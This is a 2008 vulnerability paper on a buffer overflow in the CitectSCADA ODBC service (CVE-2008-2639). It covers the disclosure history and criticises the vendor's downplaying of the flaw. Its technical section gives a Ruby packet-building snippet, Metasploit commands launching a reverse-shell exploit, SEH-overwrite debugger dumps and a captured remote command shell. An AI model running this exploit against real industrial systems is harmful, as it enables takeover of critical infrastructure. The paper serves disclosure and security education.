Exploit The Five Ws of Citect ODBC Vulnerability CVE-2008-2639

[Exploiter]

EDB-ID

13028

Проверка EDB

1. Пройдено

Автор

KEVIN FINISTERRE

Тип уязвимости

PAPERS

Платформа

MULTIPLE

CVE

cve-2008-2639

Дата публикации

2008-09-05

The Five Ws of Citect ODBC Vulnerability CVE-2008-2639
by Kevin Finisterre (kf_lists[at]digitalmunition[dot]com)
September 6th 2008 

Who? 

Citect:
	Citect has a long history as a global leader in the development and application of SCADA, HMI and MES solutions. The ability to develop powerful and 
reliable 'industrial strength' software, capable of withstanding the rigors of large-scale operations, has been one of the companies strengths. Established 
in 1973, Citect has grown to become a leading, global provider of industrial automation, real-time intelligence, and next generation manufacturing execution 
systems (MES). Citect products are complemented by professional services and customer support and training and sold in numerous industries including:

Aerospace & Defense
Automotive
Building Automation
Cement & Glass
Chemical
Electronics
Food & Beverage
Machinery & Manufacturing
Metals
Mining & Minerals
Oil & Gas
Pharmaceutical
Power / Utilities & Generation
Pulp & Paper
Transportation
Water & Wastewater
 
Headquartered in Sydney Australia, Citect has over 20 offices and representation in Oceania, Southeast Asia, China, Japan, North and South America, Europe, 
Africa and the Middle East. Citect products are distributed in more than 80 countries worldwide, through a network of more than 500 partners.

Core:
	Core Security Technologies is the leader in comprehensive security testing software solutions that IT executives rely on to expose vulnerabilities, 
measure operational risk, and assure security effectiveness. The companyâ CORE IMPACT product family offers a comprehensive approach to assessing the 
security of network systems, endpoint systems, email users and web applications against complex threats. All CORE IMPACT security testing solutions are 
backed by trusted vulnerability research and leading-edge threat expertise from the companyâ Security Consulting Services, CoreLabs and Engineering groups. 
Core Security Technologies is Based in Boston, MA and Buenos Aires, Argentina


Kevin Finisterre from the Netragard sponsored DigitalMunition:
	Kevin is the former Head Of Research and Co-founder of SNOSoft, Inc. aka Secure Network Operations. Kevin's primary focus has been on the 
dissemination of information relating to the identification and exploitation of software vulnerabilities on various platforms. Apple, IBM, SAP, Oracle, 
Symantec, and HP are among many vendors that have had problems that were identified by Kevin. Kevin is currently very active in the SCADA security scene. 
He enjoys testing the limits and is constantly dedicated to thinking outside the box. His current brainchild is the project he calls DigitalMunition.com

What?
	On January 30th 2008 an initial contact mail was sent by Core to Citect's support team in an effort to discuss and disclose a security vulnerability
that affected the Citect product line. Approximately 5 months later on June 11th the security advisory CORE-2008-0125 is published. This advisory outlines 
an issue in the Citect ODBC service that was described as follows: "A vulnerability was found in CitectSCADA that could allow a remote un-authenticated 
attacker to force an abnormal termination of the vulnerable software (Denial of Service) or to execute arbitrary code on vulnerable systems to gain complete 
control of the software. To accomplish such goal the would-be attacker must be able to connect to the vulnerable service on a TCP high-port."

Core provided the following additional data. "The CitectSCADA and CitectFacilities applications include ODBC server capabilities to provide remote SQL access 
to a relational database. The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application 
layer protocol used over TCP reads an initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that 
length with a 5-byte fixed header is then read from the same TCP socket. Once this second packet is read from the network into a buffer, the data it is then 
copied to an internal buffer of fixed size allocated in the stack."

Citect made two statements publically about the bug first in the Core advisory: "CitectSCADA is not designed to be accessible on public networks and recommends 
that the SCADA and control networks be protected by firewall or similar on live sites. The system must be network hardened regardless of the corrupt packet 
software change to ensure a secure system given the likelihood that on the same network are open industry standard protocol devices perhaps communicating via 
ethernet. Please follow this link on Citect website under 'Industries and Solutions' for security, that provides some information for customers interested in 
securing their SCADA systems:  http://www.citect.com/index.php?option=com_content&task=view&id=186&Itemid=322"

The second public comment was on their own website: "Citect has moved to reassure its SCADA customers they are extremely unlikely to be at risk from potential 
security breaches found by Core Security Technologies in Windows-based control systems utilizing ODBC technology, so long as their systems are protected by 
industry-standard security guidelines. Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when 
they are connected to the internet for some time. However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its 
system to the internet with no security in place â a situation unlikely in today's business environment. Citect's Global CEO, Christopher Crowe, says, 'The 
security of our customers control systems is of paramount importance to us. Though we have not had any reports of breaches, we are contacting our customers 
globally to confirm they have followed recommended network security measures. We have also developed a patch for those companies that might not be able to 
implement necessary network security measures promptly."

The two sources of information available to the public are seemingly conflicting... Core on one hand has implied that this vulnerability is quite critical in 
nature. Citect on the other hand is almost downplaying the issue all together. Actual users of the product must be confused to say the least. "Should I take 
action? Should I be prompt about it? Is there even a reason to take action?". These questions MUST be running through the users of Citect, given the industries 
Citect serves I should rephrase and perhaps say I hope these thoughts are in the minds of the users. In reality I would be willing to wager a small fortune that 
most of the folks that received the Citect advisory were not inspired to take immediate action. In general no one should be more knowledgeable about a software 
product than the vendor, so if the vendor pulls an Alfred E. Newman and says "What, me worry?" you can rest assured the userbase will do the same. 

This paradoxical situation is exactly why you are reading this paper, I decided to clear the air and do a little research on my own. As a semi neutral 3rd party
not relying upon any of the previously made statements I could deduce my own conclusions. Those conclusions are contained within... 

So what exactly is the big deal? Why is Citect software any different from any other software package with security issues? Primarily because of the 
industry they serve. Citect software helps run quite a bit of critical infrastructure, power plants, factories, automation lines, and other high profile
industrial related processes. 

Where?
	On the Citect web page there are case studies for the following industries, Building & Facilities, Cement & Glass, Food & Beverage, Machinery & Manufacturing, 
Mining & Minerals, Oil & Gas, Pharmaceutical, Waste & Wastewater. Installations range from a simple standalone Carwash heating control to an elaborate gas pipe line 
system with 180 Display nodes monitoring 68,000 some odd 'tags' and 'points'. Below is a list of Citect case studies with a brief description to help familiarize you 
with the wide range of industries that make use of Citect software. These names were pulled from the Citect case studies documentation that is readily available from 
the Citect website:

Nelson Mandela Municipality
Large metropolitan municipality uses CitectSCADA to monitor and control sewage facilities
 
Brunswick County, North Carolina 
A rapidly growing county ensures smooth growth using CitectSCADA

City of Shreveport, Louisiana 
Louisiana city continues its tradition of leading-edge water treatment facilities by standardising on CitectSCADA

EPAL - Lisbon Water Supply 
CitectSCADA's reliability significantly reduces EPAL's life-cycle costs

AstraZeneca
Batch solution facilitates compliance with FDA regulations at AstraZeneca's Plankstadt site.

Chilean Natural Gas Pipeline 
Electrogas and Metrogas both choose CitectSCADA for reliable monitoring and control of their pipelines. 
 
Slovnaft Refinery
CitectSCADA provides scalable, reliable solution to drastically reduce operationg costs at major Central European Refinery and Petrochemical company.

Debswana Diamond Mines
Citect's reliable, scalable software solutions lower life-cycle costs, increase throughput and deliver real-time information to Debswana Diamond Mines

Hanson Aggregate
Hanson digs CitectSCADA at its Wykeham Quarry

Argyle Diamond Mine
Argyle Diamond Mines produces around 32% of the world's diamond output from its fully automated, open cut Argyle mine in Western Australia's Kimberley region.

Anglo Coal
CitectSCADA delivers lower operations and maintenance costs, increased mobility of personnel and access to real-time information to Moranbah

Downtime at Olympic Dam (WMC)- Ampla - Winner of Microsoft Partner Awards
Fast ROI as Ampla Downtime enables 20% increase in capacity in rail haulage system. This project won the 2005 Microsoft Australia & NZ Partner Awards for 'Business 
Productivity Solution of the Year' and 'Overall Solution of the Year'.
 
Impala
Ampla has allowed Implats to analyze and optimize key areas for improvement leading to: increased throughput and overall equipment efficiency; consistent quality 
and reduced loss to waste streams. Information is streamlined from the plant floor to management providing a comprehensive performance management tool which has 
contributed towards realizing its increased production goals
 
Olympic Dam Expansion
The world's largest windows-based SCADA system. The Olympic Dam site, owned by WMC Limited (Western Mining Corporation), an Australian producer and exporter of 
processed minerals and metals, includes 440,000 variable tags with an average response time of 0.014 seconds. AB and Simatic PLCs interfaced to PMACS, PDL and SQL 
Servers.
 
QAL
QAL is the 3rd largest alumina refinery in the world. Using Ampla to support the Six Sigma operational improvement methodology, significant improvements have been 
made to the Raw Materials handling area - an operation with a throughput of more than 11 million metric tons per year!

Amcor Beverage Cans
Access to real-time information allows Amcor to optimize production

Ahold Coffee Company
Ahold Coffee Company implemented Ampla to improve overall equipment effectiveness (OEE) on all production lines, and as a result have seen significant results in OEE. 
With a goal to decrease the amount of and duration of line stoppages without making operational or equipment changes, ACC decided an MES system was the best solution. 
They also needed a solution that would easily integrate with its ERP system.

Arnott's Biscuits
Online batching system streamlines process operations at Australia's largest biscuit manufacturer - click on the image below for the full story.

Adelaide Brighton Cement
50% reduction in plant stoppages and a decrease in cost per tonne of production

Einstein III
CitectFacilities combined with BACnet and EIB provide energy and maintenance cost savings, and optimize building automation efficiency at the Einstein III office 
building in Haidhausen, Munich.

London Borough
CitectFacilities has revolutionized the way a London council maintains its buildings, often alerting the council to faults before residents report the problem.
 
Nuremberg Exhibition Center
With CitectFacilities the Nuremberg Exhibition Center has integrated and optimized facilities systems from multiple vendors, protected existing facilities investments 
and reduced building automation costs.
 
Roppongi Hills Mori Tower
Japan's largest redevelopment project improves tenant service, reduces operation costs and optimizes energy utilization as a result of using CitectFacilities. This is 
the world's largest OPC project and includes over 300 OPC servers, 500,000 tags, and 750 graphics pages, with response times of less than 1second.

In addition to the legit customer base sites like the "ali-almukhtar" blogspot location make Citect software readily available to a number of other individuals around 
the world. The illegitimate software base of Citect customers is something that perhaps can not be measured. I think the title of the "ali-almukhtar" blogspot site 
speaks volumes with regard to the seemingly blatant trafficking of industrial automation related software. "Free Electrical Engineering Ebooks And Softwares - Ramadan 
Kareem" trumpets out amongst various arabic Naskh style writings. 

When? 
	This issue is happening NOW... the media has slowed down on its initial wave of both a mix of good reporting, paranoia, FUD, misquoting, misrepresentations and 
has all but forgotten about the issues it raised several months ago, but this is an active problem STILL. Citect related news has shifted to things like: 
"Citect receives the Asia Pacific HMI and SCADA Company of the Year"
"Schneider-Citect named as HMI leaders"
"Citect Africa 2008 user conference"
"Four megatrends in SchneiderÕs automation strategy"
"Schneider to supply worldÕs largest water recycling project"
"Schneider Electric's Initi@tive 2008 - 'Make the most of your energy'"

Lets not be so quick to forget these headlines however: 

"Citect Doesn't Get 'IT' When It Comes To Application Security"
"Citect Reassures Its Customers on the Security of Their SCADA Networks"
"Top Layer TopResponse Research Team Delivers Protection against Critical CitectSCADA Buffer Overflow Vulnerability"
"Security Vulnerability Exposes Utilities to Internet Attack"
"Core Security Technologies Discovers Critical Vulnerability in SCADA Software from Citect"
"SCADA security bug exposes world's critical infrastructure"

This issue is both micro and macrocosmic with regard to SCADA security issues in general. Although people are dealing with patching this issue right now as I type, in 
reality the vulnerability has existed and could have been silently exploited for over 6 years. I can confirm that Citect v5.41 was released in 2002, unfortunately I do not
have any other dates tied to earlier Citect versions. This bug could have impacted the Citect product line from day one of ODBC implementation. I am unable to trace back 
to the exact implementation date due to a lack of information about older Citect versions. I have a strong suspicion that version v4 and perhaps even v3 Citect products 
were also vulnerable in their day. We could be talking about a bug that has lasted the span of a decade or more, but who really knows? 

So what is the real impact of the disclosure? Unfortunately we may never be able to calculate that value... we have no way of knowing for example if Russian or Chinese 
military have previously weaponized exploits for this particular issue. If they theoretically DID have them, how long have they had them? How about other hackers? Perhaps 
one of the fellows on in cracking community noticed the overflows when he was making a patch to allow Citect to run illegally? Who knows? We would certainly be foolish to 
think that simply because Core has disclosed this issue suddenly armies of hackers are empowered to exploit this particular vulnerability. The empowerment has been there
from the initial day the bug was introduced into the codebase. Bugs are both found and exploited in silence by both malicious hackers and nation states, deny it all you 
choose, however the behavior will continue to occur. 

Regardless of these questions the Macrocosm is now. Regardless of the questions the Microcosm is also now. Realistically since more bugs will be found in SCADA related
software packages the future years will really shape how these 'cosms pan out. 

Why? 

	Poor programming choices are ultimately the cause of this particular issue and subsequently many other issues as well. Poor QA is what allows these sort of issues
to slip into mainstream public products. Oddly enough I have some reservations about the development team from Citect primarily due to a white paper that I found from 
their QA department. I will share and comment on a few excerpts from this document: 

"Citect Group Quality Assurance Management System is based on ISO9001 and is thorough and comprehensive, assuring our customers of the highest standard in the preparation, 
support and maintenance of Citect software.

The Citect Group Quality Assurance 
Management System consists of: 
Â¥ Quality Management Plan 
Â¥ Software Tools 
Â¥ Standards 
Â¥ Work Practices and Checklists  Configuration Management"

Up front this sounds like a pretty solid process. Of course there is more...

"Automated testing is conducted by using Microsoft Visual Test, which automates repetitive tasks, monitors system resources and provides synchronisation of tests across 
networks."

Ok I am impressed now, seriously. 

"Development is managed by work practices that determine phases and check points in the development process. These development phases are tracked in a master document 
under the control of the project manager."

Hrmm... interesting, does security ever come into play as a phase or check point? 
 
"C/C++ Coding standards are used to ensure that all code is documented and is uniform in format, style and error handling. Code review work practices ensure that no code 
passes a checkpoint without review.  The purpose of the code reviews is to remove errors and dangerous coding practices and also assist in educating developers in improving 
coding techniques."

Ok this is where you lost me. How in the heck did we get to the point where we are today with the CitectSCADA product line containing various security issues IF this process
is in place and actually occurring? Here in lies the problem, many vendors push a particular image similar to the Oracle "Unbreakable" campaign when in reality lifting up the
skirt reveals a mess that no one wants to talk about. This exact posturing is why we are seeing disturbingly simple vulnerabilities in software today. Vendors are investing 
more time on Marketing and damage control than they are on actually securing their codebases. 

How?
	This paper is really about the One H rather than the Five Ws associated with the CitectSCADA vulnerability. In the end the only thing that matters is the raw technical 
detail. You can draw your own conclusions and inferences if you are properly informed. Below you will find a detailed report of my findings from a months worth of CitectSCADA
research. 

As Core described it this bug is indeed "This bug is a textbook example of a classic stack-based buffer overflow". Rather than exploiting it "by overwriting the return address 
of the currently running thread" I chose to go about things in a fairly standard fashion. If you are familiar with general exploitation of products that run on Windows based
operating systems overwriting the Structured Exception Handler should be in your general vocabulary. 

If you have made it this far and don't quite understand:

      .text:0051BC33 loc_51BC33:
        .text:0051BC33 lea     ecx, [ebp+pDestBuffer]
        .text:0051BC39 push    ecx     ; stack based buffer
        .text:0051BC3A mov     edx, [ebp+arg_0]
        .text:0051BC3D push    edx     ; class that contains packet
        .text:0051BC3E call    sub_52125A ; memcpy 

it may be perhaps time to close up your email client and move on to blogging about what just happened. If you are still with me SEH exploitation is a fairly vanilla process
and in this particular case things performed as expected. General exploitation of SEH is a bit beyond the scope of this paper however I will be further describing how it 
applies to this particular vulnerability. 

Core very accurately described the vulnerability in their advisory with the following text: 

"The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an 
initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that length with a 5-byte fixed header is then read from 
the same TCP socket."

Simply loading up a packet sniffer and making a TCP connection will give you the format of the packets that you need to send. We can easily sum up the required packets in a 
few lines of ruby, this is a snippet from the final metasploit module that was created for release. 

                # Open your eyes people... listen carefully to the rhetoric. There is no spoon.
                wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal

                len = [wakeup.length].pack("N")
                sock.put(len)
                sock.put(wakeup)
                print_status("Sent malicious ODBC packet...")

Depending on the version of Citect the malicious string that triggers the issue is no more than 400 bytes of data. The crash itself can be triggered with fewer bytes but 
in order to make it a properly malicious trigger something valuable needs to be overwritten. In most cases for Citect the SEH which is highly critical can be reached in 
less than 400 bytes as I just mentioned. The current metasploit module has support for a number of versions on various platforms. I am going to walk through the SEH 
exploitation on a Windows 2003 server machine as an example to help you understand how things operate. 

$ msfcli exploit/windows/misc/citect_scada_odbc T

   Id  Name                                             
   --  ----                                             
   0   CiExceptionMailer.dll on XP Sp2 or SP3 5.42      
   1   CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0  
   2   CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0    
   3   CiExceptionMailer.dll on XP Sp2 or SP3 6.10      
   4   CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0    
   5   CiExceptionMailer.dll on 2003 Server SP1 7.0-r0  
   6   CiExceptionMailer.dll on Win98 5.50-r0           
   7   CiExceptionMailer.dll on XP SP2 5.50-r0          
   8   CiExceptionMailer.dll on 2003 Server 5.50-r0     
   9   Test Crash                                       

I have selected a target and payload and began a test run of the final module against a Windows 2003 Server machine running CitectSCADA 7.0.

$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2  TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
...

The view from inside a debugger gives loads of insight as to how exploitable this issue actually is. After sending the inital packet an exception is triggered due
to a bad memory read: 

EAX 0613EA7A

ECX 00000013

EDX 00000001

EBX 00000000

ESP 07CBFBF8

EBP 07CBFC00

ESI 0613EA2D

EDI 07CC0000

EIP 7814507A MSVCR80.7814507A


7814507A   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>



ECX=00000013 (decimal 19.)

DS:[ESI]=[0613EA2D]=90909090

ES:[EDI]=[07CC0000]=???


In this case the initial exception is caused because we have overwritten some chunk of data that was used in some operation from Client.dll

07CBFBF8   061C1920

07CBFBFC   07CBFC38

07CBFC00  /07CBFC24

07CBFC04  |1010C14B  RETURN to Client.1010C14B from <JMP.&MSVCR80.memcpy>

07CBFC08  |07CBFE64

07CBFC0C  |0613E891

07CBFC10  |000001E9

07CBFC14  |E9010000

07CBFC18  |07CBFC2C

07CBFC1C  |061C1920

07CBFC20  |7813ED0F  RETURN to MSVCR80.fprintf

07CBFC24  ]07CBFC3C

07CBFC28  |1010C74A  RETURN to Client.1010C74A from Client.1010C122

07CBFC2C  |000001E9

07CBFC30  |07CBFE64

07CBFC34  |07CBFC38

07CBFC38  |000001E9

07CBFC3C  \07CBFF8C

07CBFC40   10109E7D  RETURN to Client.10109E7D from Client.1010C737

07CBFC44   061C1920

07CBFC48   07CBFE64

07CBFC4C   7813E447  MSVCR80.__p__iob

07CBFC50   7813ED0F  RETURN to MSVCR80.fprintf

If we take a peek at the SEH at this point we would see that it is overwritten with an attacker supplied value. 

SEH chain of thread 00000888

Address    SE handler

07CBFFDC   CiExcept.003D59D7



As is standard the attacker supplied address points to a "POP POP RET". The full view of the Stack at the time of the SEH overwrite 
shown below. We can clearly see attacker controlled data both before and after the SEH value. 

07CBFFD0   90909090

07CBFFD4   90909090

07CBFFD8   90909090

07CBFFDC   909006EB  Pointer to next SEH record

07CBFFE0   003D59D7  SE handler

07CBFFE4   FFFE7BE9

07CBFFE8   909090FF

07CBFFEC   90909090

07CBFFF0   90909090

07CBFFF4   90909090

07CBFFF8   90909090

07CBFFFC   90909090



The "POP POP RET" is again as expected. 

003D59D7   5F               POP EDI

003D59D8   5E               POP ESI

003D59D9   C3               RETN



Passing the exception on will activate our handler and we can then see the real magic behind this vulnerability. The "POP POP RET" will cause 
the program to "land" on the following bytes of assembly which again are standard as part of SEH based exploitation. These bytes in essence 
jump over the attacker supplied SEH value and into what is considered usable shellcode space. 

089CFFDC   EB 06            JMP SHORT 089CFFE4

089CFFDE   90               NOP

089CFFDF   90               NOP



As we mentioned the usable shellcode space varies from version to version but in all cases it is very small. We must make use of the space before
the SEH value if we ever hope to get reliable code execution. Technically we are already "executing code" at this point but not in the traditional 
sense of a remote system compromise. This is more low level simply assembly toying. Using a 5 byte near jump sufficiently places us at the beginning
of our payload buffer. 



089CFFE4  ^E9 7BFEFFFF      JMP 089CFE64

089CFFE9   90               NOP

089CFFEA   90               NOP

089CFFEB   90               NOP

089CFFEC   90               NOP

089CFFED   90               NOP

089CFFEE   90               NOP

089CFFEF   90               NOP

089CFFF0   90               NOP

089CFFF1   90               NOP

089CFFF2   90               NOP

089CFFF3   90               NOP

089CFFF4   90               NOP

089CFFF5   90               NOP

089CFFF6   90               NOP

089CFFF7   90               NOP

089CFFF8   90               NOP

089CFFF9   90               NOP

089CFFFA   90               NOP

089CFFFB   90               NOP

089CFFFC   90               NOP

089CFFFD   90               NOP

089CFFFE   90               NOP

089CFFFF   90               NOP


In this case I have pasted a few bytes from the beginning of the Metasploit encoded payload. 

089CFE64   F5               CMC

089CFE65   B6 4F            MOV DH,4F

089CFE67   24 B1            AND AL,0B1

089CFE69   4A               DEC EDX

089CFE6A   B8 B2403D49      MOV EAX,493D40B2

089CFE6F   32FC             XOR BH,AH

089CFE71   93               XCHG EAX,EBX

089CFE72   25 969F2C14      AND EAX,142C9F96

089CFE77   7E 7F            JLE SHORT 089CFEF8

089CFE79   22FD             AND BH,CH

089CFE7B   BF 9847463C      MOV EDI,3C464798



If we let this monstrosity run unfettered and unchained from the debugger we see the following result. 

$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2  TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
[*] Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when they are connected to the internet for some time. 
[*] However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place -
[*] a situation unlikely in todayÕs business environment. 
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.211.55.2:4444 -> 10.211.55.8:1030)

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Citect\CitectSCADA 7\Bin>


In essence an attacker is given access to a command prompt with the privileges of the currently running Citect process. This method and technique is similar across 
all versions of Windows, individual techniques had to be modified slightly to fit each target platform but successful exploitation occurred on Windows 2003 Server, 
Windows XP and Windows 98 SE. In theory anything that you can install Citect on can technically be exploited. 

I have attached a fully functional proof of concept code to this report in an effort to help folks truly understand the impact of this vulnerability. I personally 
can not afford Core Impact and I am sure many of the folks that use this software will never be exposed to Core Impact, as such I have decided to create a public
metasploit module for this issue. The hopes are that current Citect users or people that are responsible for auditing Citect users will now have a usable tool to help
aid in the education and subsequent mitigation of this vulnerability. More importantly I hope this can serve as an example for future communications about similar such 
vulnerabilities. 

In my personal expertise I feel as if the statement "Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the 
internet with no security in place" is completely absurd. If I were a Citect customer I would actually feel both insulted and confused by the statement. Previous 
penetration testing exercises have shown that A) products are very frequently used in ways that manufactures do not intend. B) That many networks maintain a Hard
shell with a Soft chewy inside. Many companies hide behind the concept of a firewall as if it were the end all be all security solution. Currently attacking and exploiting
client side vulnerabilities is at an all time high. The old school style of directly aiming and gunning for a server has gone by the wayside. Latching on to an end user
or client machine can often be just as valuable in the over all scheme of distributed metastasis. 

You would be absolutely foolish to believe that the only method or vector of exploitation for this and or any other SCADA related vulnerability was "Teh Internets". Look 
at the diagrams in the Citect case studies... read the documentation from vendors that actually implement these products. Wake up... open your eyes. Don't be a sheep.  

If you outlaw SCADA exploits, only outlaws will have SCADA exploits. Spread information and inform both yourself and others. 
-Kevin Finisterre 2008 

# milw0rm.com [2008-09-05]